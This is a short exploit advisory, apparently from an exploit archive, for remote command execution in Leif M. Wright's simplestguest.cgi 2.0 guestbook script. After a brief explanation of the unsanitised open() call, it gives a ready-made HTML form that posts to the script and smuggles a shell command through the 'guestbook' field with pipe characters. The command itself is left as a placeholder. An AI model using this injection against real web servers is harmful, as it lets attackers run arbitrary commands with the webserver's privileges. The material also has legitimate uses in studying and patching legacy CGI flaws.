Leif M. Wright simplestguest.cgi 2.0 - Remote Command Execution

source: https://www.securityfocus.com/bid/2106/info

A vulnerabiliy exists in Leif M. Wright's simplestguest.cgi, a script designed to coordinate guestbook submissions from website visitors.

An insecure call to the open() function leads to a failure to properly filter shell metacharacters from user supplied input. As a result, it is possible for an attacker to cause this script to execute arbitrary shell commands with the privileges of the webserver.

Make a html form similar to:

<form action=/cgi-bin/simplestguest.cgi method=POST>
                 <input type=hidden name=required value="NAME">
                 <input type=hidden name=guestbook
                value=" | <COMMAND> |">
                 <input type=hidden name="NAME" value="user">
                 <input type=submit>
</form>